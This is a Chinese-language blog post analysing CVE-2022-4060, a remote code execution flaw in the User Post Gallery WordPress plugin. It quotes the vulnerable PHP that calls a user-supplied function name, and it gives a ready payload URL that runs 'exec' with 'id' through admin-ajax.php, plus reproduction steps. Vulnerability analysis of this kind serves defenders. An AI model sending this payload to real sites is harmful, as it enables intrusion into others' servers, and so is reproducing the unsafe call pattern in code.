WordPress远程代码执行漏洞(CVE-2022-4060)

本文来自公众号:乌托邦安全团队
原文地址:http://mp.weixin.qq.com/s/qfGzRS_8ZABYReqjmBG35g

0x00 概述

User Post Gallery – UPGwordpress的插件,该插件存在远程命令执行漏洞,公开于2022年12月26日,cve编号:CVE-2022-4060

图片[1]-WordPress远程代码执行漏洞(CVE-2022-4060)-渗透云记 - 专注于网络安全与技术分享

0x01 漏洞成因

截止2023年1月17日,因该漏洞一直未修复,在WordPress官方已暂时将该插件的下载,我只能在Github上找到了2021年上传的插件源码,庆幸的是该漏洞存在,我们对源码进行分析。

漏洞存在于wp-upg.php文件的upg_datatable函数。

先看下面的代码片段:

$val        = array();
           $val_param1 = array();
           $val_param2 = array();
           $val_param3 = array();

           $values = explode(',', $request['field']);
           foreach ($values as $option) {
             $cap = explode(":", $option);

             //$cap[0] Is a column label assigned in datatable.php

             array_push($val, $cap[1]);

             if (isset($cap[2])) {
               array_push($val_param1, $cap[2]);
            } else {
               array_push($val_param1, '');
            }
             if (isset($cap[3])) {
               array_push($val_param2, $cap[3]);
            } else {
               array_push($val_param2, '');
            }
             if (isset($cap[4])) {
               array_push($val_param3, $cap[4]);
            } else {
               array_push($val_param3, '');
            }
          }

该函数在获取了请求参数field之后,以“:”进行分割,第二个值放入$val,分别将第三个值放入$val_param1,第四个值放入$val_param2,第五个值放入$val_param3。

这里是对请求的参数进行解析和赋值的操作,继续看后面的代码片段是如何使用这几个参数的。

for ($x = 0; $x < count($val); $x++) {
    $func_name = trim($val[$x]);
    if (function_exists($func_name)) {
    $nestedData[] = $func_name($val_param1[$x], $val_param2[$x], $val_param3[$x]);
    } else {
     $nestedData[] = $func_name . "('" . $val_param1[$x] . "','" . $val_param2[$x] . ",'" . $val_param3[$x] . "') is invalid php function";
    }
}

将$val的值作为函数名,分别传入$val_param1、$val_param2、$val_param3的值并执行函数,至此造成了RCE。

Payload的构造也极其简单,http://target/admin-ajax.php?action=upg_datatable&field=field:exec:id:NULL:NULL。

0x02 漏洞复现

  • 在WordPress中安装UPG插件。
  • 带payload访问站点。
图片[2]-WordPress远程代码执行漏洞(CVE-2022-4060)-渗透云记 - 专注于网络安全与技术分享

漏洞利用成功

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容